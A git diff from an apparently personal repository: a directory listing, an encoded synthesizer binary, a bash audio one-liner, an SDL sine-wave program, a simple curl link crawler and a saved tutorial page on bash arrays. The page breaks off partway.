+    -rwxr-xr-x    1 harvie   harvie      1136 Jan  9 20:08 dcreq.txt
+    -rwxr-xr-x    1 harvie   harvie        58 Jan  9 20:08 de64.php
+    -rwxr-xr-x    1 harvie   harvie       563 Jan  9 20:09 debgames.txt
+    drwxr-xr-x    3 harvie   harvie      4096 Mar  9 13:36 debian-ports/
+    -rwxr-xr-x    1 harvie   harvie        23 Jan  9 20:09 debug.txt
+    -rwxr-xr-x    1 harvie   harvie     29099 Jan  9 20:53 default-levelset
+    -rwxr-xr-x    1 harvie   harvie        60 Jan  9 20:09 defaultmac.txt
+    -rwxr-xr-x    1 harvie   harvie       118 Jan  9 20:09 disableall.txt
+    drwxr-xr-x    4 harvie   harvie      4096 Jan 13 22:06 dl/
+    drwxr-xr-x    4 harvie   harvie      4096 Jun 17 02:26 dreammachine/
+    -rwxr-xr-x    1 harvie   harvie      1124 Jan  9 20:09 dsniff.services
+    -rwxr-xr-x    1 harvie   harvie     25725 Jan  9 20:09 ducks.txt
+    -rwxr-xr-x    1 harvie   harvie       380 Jan  9 20:08 embedlinux.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Mar 25 23:44 eset/
+    -rwxr-xr-x    1 harvie   harvie      2439 Jan  9 20:09 event0.txt
+    drwxr-xr-x    3 harvie   harvie      4096 Jun 18 23:04 exploity/
+    -rwxr-xr-x    1 harvie   harvie       326 Jan  9 20:09 falive
+    -rwxr-xr-x    1 harvie   harvie     79628 Jan  9 20:09 fbmodes.pdf
+    -rwxr-xr-x    1 harvie   harvie      3649 Jan  9 20:09 fbmodes.txt
+    drwxr-xr-x    4 harvie   harvie      4096 Jan 13 22:12 firefox-extensions/
+    drwxr-xr-x    4 harvie   harvie      4096 Jan 13 22:08 flashaudioplayer/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 fork/
+    -rwxr-xr-x    1 harvie   harvie     17302 Jan  9 20:08 fuzzer.pl
+    -rw-r--r--    1 harvie   harvie      4889 Mar 17 08:05 fyzika-referat.txt
+    -rw-r--r--    1 harvie   harvie      4889 Mar 16 18:45 fyzika-referat.txt~
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:07 gbook/
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:08 glade/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 grafika/
+    -rwxr-xr-x    1 harvie   harvie      7559 Jan  9 20:09 h01.svg
+    -rwxr-xr-x    1 harvie   harvie   2298252 Jan  9 20:09 hPong_0.2b.mpeg
+    -rwxr-xr-x    1 harvie   harvie      6598 Jan  9 20:09 hackujeme_panelak_01.dia
+    -rwxr-xr-x    1 harvie   harvie     70862 Jan  9 20:08 hackujeme_panelak_01.png
+    -rwxr-xr-x    1 harvie   harvie      3489 Jan  9 20:08 haluz1.png
+    -rwxr-xr-x    1 harvie   harvie     19754 Jan  9 20:09 haluz2.png
+    -rwxr-xr-x    1 harvie   harvie     18388 Jan  9 20:09 harvie.nanorc
+    drwxr-xr-x    3 harvie   harvie      4096 May 20 13:44 hdr_photo/
+    -rwxr-xr-x    1 harvie   harvie     30018 Jan  9 20:09 head.tga
+    -rwxr-xr-x    1 harvie   harvie        24 Jan  9 20:09 hello.php
+    -rwxr-xr-x    1 harvie   harvie      9626 Jan  9 20:09 hfshack.py
+    -rwxr-xr-x    1 harvie   harvie       566 Jan  9 20:09 hhgame.htm
+    -rwxr-xr-x    1 harvie   harvie    897139 Jan  9 20:09 hhgame.swf
+    drwxr-xr-x    6 harvie   harvie      4096 Jan 13 22:08 hhgame/
+    -rwxr-xr-x    1 harvie   harvie      2158 Jan  9 20:09 hlasky.txt
+    -rwxr-xr-x    1 harvie   harvie    373837 Jan  9 20:09 hlava01.png
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:07 hlds/
+    -rwxr-xr-x    1 harvie   harvie    234782 Jan  9 20:08 hurka.png
+    -rwxr-xr-x    1 harvie   harvie     85094 Jan  9 20:09 iislist.txt
+    -rwxr-xr-x    1 harvie   harvie       179 Jan  9 20:09 infect.bash
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:11 infect/
+    -rwxr-xr-x    1 harvie   harvie    142920 Jan  9 20:08 inflow.blend
+    -rwxr-xr-x    1 harvie   harvie    142636 Jan  9 20:24 inflow.blend1
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 initbackdoor/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 input/
+    -rwxr-xr-x    1 harvie   harvie      5439 Jan  9 20:24 it-ug.txt
+    -rwxr-xr-x    1 harvie   harvie       280 Jan  9 20:08 jobs2oo8.txt
+    -rwxr-xr-x    1 harvie   harvie      1145 Jan  9 20:09 jsget.html
+    -rwxr-xr-x    1 harvie   harvie       680 Jan  9 20:09 jskeylog.html
+    drwxr-xr-x    9 harvie   harvie      4096 May 17 23:23 jukebox/
+    -rwxr-xr-x    1 harvie   harvie       308 Jan  9 20:24 kalive
+    drwxr-xr-x    6 harvie   harvie      4096 May 13 04:25 kdenlive/
+    -rwxr-xr-x    1 harvie   harvie     32753 Jan  9 20:09 kernel.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 kexploit/
+    -rwxr-xr-x    1 harvie   harvie    119964 Jan  9 20:08 keyboardhook.aspx.html
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 keylogger/
+    -rwxr-xr-x    1 harvie   harvie    159744 Jan  9 20:09 kf-mudru.doc
+    -rwxr-xr-x    1 harvie   harvie      9805 Jan  9 20:08 kombi.txt
+    -rw-r--r--    1 harvie   harvie     15332 May 20 22:56 kultuni_denik.odt
+    -rwxr-xr-x    1 harvie   harvie     59313 Jan  9 20:24 kurz-c.doc
+    -rwxr-xr-x    1 harvie   harvie      2165 Jan  9 20:08 kybca-cbp.txt
+    -rwxr-xr-x    1 harvie   harvie      2735 Jan  9 20:09 kybca-cbp2.txt
+    -rw-r--r--    1 harvie   harvie     16416 Feb  9 18:59 kybca-cyberpunk-topic.txt
+    -rw-r--r--    1 harvie   harvie     26548 Feb  9 20:33 kybca-cyberpunk-topic2.html
+    -rw-r--r--    1 harvie   harvie     25411 Feb  9 20:27 kybca-cyberpunk-topic2.html~
+    -rw-r--r--    1 harvie   harvie     16440 Feb  9 19:26 kybca-cyberpunk-topic2.txt
+    -rw-r--r--    1 harvie   harvie     16167 Feb 11 14:11 kybca-cyberpunk-topic3-tidy.html
+    -rw-r--r--    1 harvie   harvie     16174 Feb 11 14:00 kybca-cyberpunk-topic3-tidy.html~
+    -rw-r--r--    1 harvie   harvie     16181 Feb 11 13:53 kybca-cyberpunk-topic3.html
+    -rw-r--r--    1 harvie   harvie     16181 Feb 11 13:46 kybca-cyberpunk-topic3.html~
+    -rwxr-xr-x    1 harvie   harvie       900 Jan  9 20:08 kybcapost.html
+    -rw-r--r--    1 harvie   harvie      2185 Feb  8 23:28 kybcaworm.txt
+    -rw-r--r--    1 harvie   harvie      2213 Feb  8 23:09 kybcaworm.txt~
+    -rwxr-xr-x    1 harvie   harvie       805 Jan  9 20:09 kyberia.sk.txt
+    -rwxr-xr-x    1 harvie   harvie      3769 Jan  9 20:08 lastfm.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 lastfm/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:07 lightspeed/
+    -rwxr-xr-x    1 harvie   harvie     37748 Jan  9 20:09 lionwiki-monobook_0.2-final.tar.bz2
+    -rwxr-xr-x    1 harvie   harvie     28570 Jan  9 20:09 lockpick-preview2.JPG
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 lockpix/
+    -rwxr-xr-x    1 harvie   harvie      7017 Jan  9 20:09 logo.gif
+    -rwxr-xr-x    1 harvie   harvie     14219 Jan  9 20:08 logo.svg
+    -rwxr-xr-x    1 harvie   harvie      1181 Jan  9 20:08 lol.conf
+    drwxr-xr-x    3 harvie   harvie      4096 May  6 10:46 lolbot/
+    -rwxr-xr-x    1 harvie   harvie   7225404 Jan  9 20:09 lolhack.mpeg
+    -rwxr-xr-x    1 harvie   harvie      2386 Jan  9 20:09 madarsko.txt
+    drwxr-xr-x    5 harvie   harvie      4096 Jan 13 22:07 mardera.cz/
+    -rwxr-xr-x    1 harvie   harvie      3529 Jan  9 20:08 mbox
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:07 microsux/
+    -rw-r--r--    1 harvie   harvie    232448 Jan 22 23:07 mk-praktikant-prihlaska.doc
+    -rwxr-xr-x    1 harvie   harvie      1777 Jan  9 20:08 mod-security.txt
+    -rwxr-xr-x    1 harvie   harvie      2241 Jan  9 20:09 mod_security-basic.txt
+    -rwxr-xr-x    1 harvie   harvie    281339 Jan  9 20:09 moi.JPG
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 monobook/
+    -rwxr-xr-x    1 harvie   harvie        32 Jan  9 20:24 montenegro.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Mar  6 12:06 motivators/
+    -rwxr-xr-x    1 harvie   harvie     29699 Jan  9 20:24 motogp-win.png
+    -rwxr-xr-x    1 harvie   harvie      2332 Jan  9 20:24 mples-2008.txt
+    -rwxr-xr-x    1 harvie   harvie     19442 Jan  9 20:09 musil-kocarkarna.png
+    drwxr-xr-x    2 harvie   harvie      4096 Mar 15 01:29 nano-crypt/
+    -rwxr-xr-x    1 harvie   harvie      1823 Jan  9 20:24 nc-cnc.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 netinfect/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 neuronics/
+    -rwxr-xr-x    1 harvie   harvie     12546 Jan  9 20:08 ona-uvaha-1.doc
+    -rwxr-xr-x    1 harvie   harvie     18808 Jan  9 20:09 ona-uvaha-2.doc
+    -rw-r--r--    1 harvie   harvie     21798 Mar 23 01:11 ona-uvaha-3.doc
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:08 overfloo/
+    -rwxr-xr-x    1 harvie   harvie    142232 Jan  9 20:09 pacman.blend
+    drwxr-xr-x    7 harvie   harvie      4096 Jan 13 22:12 pebuilder/
+    -rwxr-xr-x    1 harvie   harvie     12021 Jan  9 20:09 pernicek-clanky.txt
+    drwxr-xr-x   13 harvie   harvie      4096 Jan 13 22:07 phpbb-backup/
+    -rwxr-xr-x    1 harvie   harvie      4706 Jan  9 20:09 phpfusion.php
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 pico/
+    -rwxr-xr-x    1 harvie   harvie      9373 Jan  9 20:08 pixart.png
+    -rwxr-xr-x    1 harvie   harvie     13197 Jan  9 20:09 pixart_iso.png
+    -rwxr-xr-x    1 harvie   harvie      6340 Jan  9 20:09 pixtank.png
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 playerMiniPackage/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 praxe-ssps2008/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 praxe/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 preklad/
+    -rwxr-xr-x    1 harvie   harvie      3107 Jan  9 20:09 prielom-cbp.html
+    -rw-r--r--    1 harvie   harvie       111 Feb 12 17:34 promoce.txt
+    -rwxr-xr-x    1 harvie   harvie      3097 Jan  9 20:08 proslov.php
+    -rwxr-xr-x    1 harvie   harvie      2890 Jan  9 20:24 proslov.php.old
+    drwxr-xr-x    4 harvie   harvie      4096 Jun 10 00:54 python/
+    -rwxr-xr-x    1 harvie   harvie        58 Jan  9 20:09 rchat.php
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:12 roman-alarm/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 rozepsane_clanky/
+    drwxr-xr-x    4 harvie   harvie      4096 May  1 13:10 rozhledna-krumlov/
+    -rw-r--r--    1 harvie   harvie        38 May  1 12:29 rozhledna.txt
+    -rwxr-xr-x    1 harvie   harvie        35 Jan  9 20:09 rozvrh-cecko.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 rqbeta/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:06 rudna.net/
+    -rwxr-xr-x    1 harvie   harvie     37639 Jan  9 20:09 runa-ss.jpg
+    -rwxr-xr-x    1 harvie   harvie        78 Jan  9 20:09 scan.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 scannery/
+    drwxr-xr-x    5 harvie   harvie      4096 Jan 18 18:48 scio/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 scom/
+    -rwxr-xr-x    1 harvie   harvie       465 Jan  9 20:08 scon
+    -rwxr-xr-x    1 harvie   harvie       729 Jan  9 20:07 serialz.txt
+    -rwxr-xr-x    1 harvie   harvie       849 Jan  9 20:09 serv_seek.php
+    -rw-r--r--    1 harvie   harvie      2004 Apr 22 18:38 server-fail.txt
+    -rw-r--r--    1 harvie   harvie      1907 Apr 22 16:01 server-fail.txt~
+    -rwxr-xr-x    1 harvie   harvie      4505 Jan  9 20:09 server00-v.txt
+    -rwxr-xr-x    1 harvie   harvie    139289 Jan  9 20:09 servlist.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 shellcodegenerator/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:07 sis/
+    -rwxr-xr-x    1 harvie   harvie       207 Jan  9 20:09 sk-server-mac.txt.txt
+    -rw-r--r--    1 harvie   harvie      9542 Jun 18 16:29 skills.html
+    -rw-r--r--    1 harvie   harvie      9472 Jun 18 16:28 skills.html~
+    -rwxr-xr-x    1 harvie   harvie       313 Jan  9 20:09 skoda.html
+    drwxr-xr-x    7 harvie   harvie      4096 Jan 13 22:08 skripta/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:12 skriptad/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:07 soom_walp/
+    -rwxr-xr-x    1 harvie   harvie    196590 Jan  9 20:09 soomasek.png
+    -rwxr-xr-x    1 harvie   harvie       587 Jan  9 20:08 souctove_vzorce.txt
+    -rwxr-xr-x    1 harvie   harvie    152368 Jan  9 20:09 spaceship.blend
+    -rwxr-xr-x    1 harvie   harvie    151908 Jan  9 20:08 spaceship.blend1
+    -rwxr-xr-x    1 harvie   harvie   1048594 Jan  9 20:09 sphere3_auv.tga
+    -rwxr-xr-x    1 harvie   harvie   1048594 Jan  9 20:08 sphere3_copy4_auv2.tga
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 spider_seed/
+    drwxr-xr-x    5 harvie   harvie      4096 Jan 13 22:12 src/
+    -rwxr-xr-x    1 harvie   harvie      1630 Jan  9 20:24 ssps-wiki.txt
+    drwxr-xr-x    2 harvie   harvie      4096 May  3 21:22 stickerz/
+    -rwxr-xr-x    1 harvie   harvie      6944 Jan  9 20:08 strejcek-certifikace.txt
+    -rwxr-xr-x    1 harvie   harvie       739 Jan  9 20:09 strejcek-hosting.txt
+    -rwxr-xr-x    1 harvie   harvie       707 Feb 11 21:48 studenti.txt
+    -rwxr-xr-x    1 harvie   harvie      2958 Jan  9 20:09 studentssps-nikto.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 suplovani/
+    -rwxr-xr-x    1 harvie   harvie        83 Jan  9 20:08 sys_call_table.sh
+    drwxr-xr-x    2 harvie   harvie      4096 May  3 21:21 t-shock/
+    drwxr-xr-x    2 harvie   harvie      4096 May 12 22:43 tablo/
+    -rwxr-xr-x    1 harvie   harvie     16826 Jan  9 20:09 test.html
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 textdraw/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 texture/
+    -rwxr-xr-x    1 harvie   harvie     84084 Jan  9 20:24 tiger-scan.txt
+    drwxr-xr-x    4 harvie   harvie      4096 Jan 13 22:08 torchat/
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:08 trace.dump.cz-lkm/
+    -rwxr-xr-x    1 harvie   harvie       318 Jan  9 20:09 trackers-open.txt
+    -rwxr-xr-x    1 harvie   harvie        84 Jan  9 20:24 ttyUSB0.default
+    -rwxr-xr-x    1 harvie   harvie     16384 Jan  9 20:08 tucnak-budik.jpg
+    -rwxr-xr-x    1 harvie   harvie       324 Jan  9 20:09 turbo.bash
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 tv-b-gone/
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:08 tvbgone/
+    drwxr-xr-x    2 harvie   harvie      4096 May  5 23:05 usbinfect/
+    -rwxr-xr-x    1 harvie   harvie       240 Jan  9 20:24 vanoce.txt
+    -rwxr-xr-x    1 harvie   harvie       270 Jan  9 20:09 vidrec.txt
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:06 virii-sources/
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:08 virtualization/
+    drwxr-xr-x    2 harvie   harvie      4096 May 23 22:01 virustotal/
+    -rwxr-xr-x    1 harvie   harvie    121801 Jan  9 20:08 vista_logo[5].png
+    -rwxr-xr-x    1 harvie   harvie      7356 Jan  9 20:09 vykriky
+    -rwxr-xr-x    1 harvie   harvie       299 Jan  9 20:24 vykriky.c
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 vyleceni/
+    -rwxr-xr-x    1 harvie   harvie      7798 Jan  9 20:09 vyuka-it.txt
+    -rwxr-xr-x    1 harvie   harvie     49577 Jan  9 20:09 warna.JPG
+    -rwxr-xr-x    1 harvie   harvie    938654 Jan  9 20:08 warnabrother.bmp
+    drwxr-xr-x    2 harvie   harvie      4096 Mar 12 19:23 warxing/
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:08 wifi/
+    -rwxr-xr-x    1 harvie   harvie        99 Jan  9 20:08 wine_sandbox.bash
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 wings/
+    -rwxr-xr-x    1 harvie   harvie     95744 Jan  9 20:09 word.doc
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 xbrain/
+    -rwxr-xr-x    1 harvie   harvie      1251 Jan  9 20:07 xpbsod.sh
+    -rwxr-xr-x    1 harvie   harvie      1422 Jan  9 20:08 youtube.sh
+    -rwxr-xr-x    1 harvie   harvie    100960 Jan  9 20:24 youtube_hack.html
+    drwxr-xr-x    5 harvie   harvie      4096 Jun 10 15:55 zenman/
+    -rwxr-xr-x    1 harvie   harvie     23121 Jan  9 20:09 zivotopis.abw
+    -rwxr-xr-x    1 harvie   harvie     35865 Jan  9 20:09 zivotopis.doc
+    -rwxr-xr-x    1 harvie   harvie      8478 Jan  9 20:09 zivotopis.html
+
+ + diff --git a/bash/bash-synthesizer/synth b/bash/bash-synthesizer/synth new file mode 100755 index 0000000000000000000000000000000000000000..ddbdec861459815a279223676acc827d462f1d5e GIT binary patch literal 7493 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 literal 0 HcmV?d00001 diff --git a/bash/bash-synthesizer/synth.bash b/bash/bash-synthesizer/synth.bash new file mode 100755 index 0000000..5e6cf6a --- /dev/null +++ b/bash/bash-synthesizer/synth.bash @@ -0,0 +1,9 @@ +#!/bin/bash +{ + for x in {0..100}; { + for i in {-2..2}; { + i=$[$i*$x]; + echo -ne "\x$i"; + } + } +} | aplay # -r 44100 diff --git a/bash/bash-synthesizer/synth.cpp b/bash/bash-synthesizer/synth.cpp new file mode 100644 index 0000000..a9ed369 --- /dev/null +++ b/bash/bash-synthesizer/synth.cpp @@ -0,0 +1,90 @@ +// g++ -std=c99 -lm $(sdl-config --cflags --libs) synth.cpp -o synth + +#include +#include +#include +#include +#include +#include +#include + +SDL_Surface *screen; +SDL_AudioSpec spec; +Uint32 sound_len; +Uint8 *sound_buffer; +int sound_pos = 0; +int counter; + +//Do all the init stuff +void init_sdl (void) +{ + if (SDL_Init (SDL_INIT_VIDEO|SDL_INIT_AUDIO) < 0) + exit (-1); + atexit (SDL_Quit); + screen = SDL_SetVideoMode (640, 480, 16, SDL_HWSURFACE); + if (screen == NULL) + exit (-1); +} + +//Creates the sine wave. To supress ripple, the wave runs continuously by using an incemental counter +void Callback (void *userdata, Uint8 *stream, int len) +{ + double pi = 3.1415; + Uint8 *waveptr; + double Hz=50; + double L = 512; + double A = 100; + double SR = 44100; + double F=2*pi*Hz/SR; + + for (int z = 0; z< 512 ; z++) + { + counter++; + sound_buffer[z] = (Uint8) A*sin(F*(double)counter); + } + + //Do the sound loop... + if (sound_pos + len > sound_len) + { + sound_pos=0; + } + + waveptr = sound_buffer + sound_pos; + SDL_MixAudio(stream, waveptr, len, SDL_MIX_MAXVOLUME); + + //stream = waveptr; //Replacing the mixer gives nothing but silence...!?! + + sound_pos += len; +} + +void play (void) +{ + sound_buffer = new Uint8[512]; + sound_len= 512; + spec.freq = 44100; + spec.format = AUDIO_S16SYS; + spec.channels = 1; + spec.silence = 0; + spec.samples = 512; + spec.padding = 0; + spec.size = 0; + spec.userdata = 0; + + spec.callback = Callback; + if (SDL_OpenAudio (&spec, NULL) < 0) + { + printf ("Kann audio nicht öffnen: %s\n", SDL_GetError ()); + exit (-1); + } + SDL_PauseAudio (0); +} + +int main(int argc, char* argv[]) +{ + init_sdl (); + play (); + SDL_Delay (5000); + return 0; + +} + diff --git a/bash/bashcrawl/crawl.bash b/bash/bashcrawl/crawl.bash new file mode 100755 index 0000000..0447af0 --- /dev/null +++ b/bash/bashcrawl/crawl.bash @@ -0,0 +1,21 @@ +#!/bin/bash + +CURL_PATH="curl"; +CURL_TIMEOUT=1; +#CURL_ARGS=--get --location --connect-timeout "$CURL_TIMEOUT" --max-time "$CURL_TIMEOUT" --compressed --stderr curl.debug; + +# $cmd = "$curl --url \"$url\" $args"; + + +grab_urls() { + if [[ $( "$CURL_PATH" "--url" "$1" --get --location --connect-timeout "$CURL_TIMEOUT" --max-time "$CURL_TIMEOUT" --compressed --stderr curl.debug) =~ \(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~\&=\ ?\.a-z0-9\/]*\) ]]; then + for i in $( seq 0 $[ ${#BASH_REMATCH}-1 ] ); do + # echo $i; + if [ "${BASH_REMATCH[i]}" != "" ]; then + echo "${BASH_REMATCH[i]}"; + fi; + done | sort -u; + fi; +} + +grab_urls http://www.abclinuxu.cz/ diff --git a/bash/bashcrawl/curl.debug b/bash/bashcrawl/curl.debug new file mode 100755 index 0000000..f42e545 --- /dev/null +++ b/bash/bashcrawl/curl.debug @@ -0,0 +1,3 @@ + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 0 17854 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0 100 17854 100 17854 0 0 15690 0 0:00:01 0:00:01 --:--:-- 187k diff --git a/bash/bashcrawl/test.html b/bash/bashcrawl/test.html new file mode 100755 index 0000000..4d56b86 --- /dev/null +++ b/bash/bashcrawl/test.html @@ -0,0 +1,710 @@ + + + + + + + + + + + Using arrays in bash + + + + + + + + + + + + + + + +
+ +
+
+
+ + + +
+
+
+ + + + + + + + +
+ + +
+ + +
+
+ + + + + +
+
+ +
+
+
+

Using arrays in bash

+ + +

Tags: Linux, Vincent Danen, Foo, Linux Tips Newsletter

+ + + + + + + + + +
+ +
    + + + + + +
  • Save
  • +
  • Print
  • +
  • Digg This
  • + + + + + + + + + + + + + + + + +
  • + +
  • 1
  • + + + + +
+
+
+ +
+

Takeaway: Learn two ways two declare an array in bash in this Linux tip.

+ + + +

Assigning variables in bash is easily done and extremely +useful, but like other programming languages, bash can also use arrays. This is +particularly handy when you want to read the contents of a file into an array or +simply keep your scripts more organized and logical.

+ +

There are two ways of declaring an array:

+ +
<code>
declare -a FOO
</code>
+ +

This creates an empty array called FOO. You can also declare +an array by assigning values to it:

+ +
<code>
FOO[2] = 'bar'
</codE>
+ +

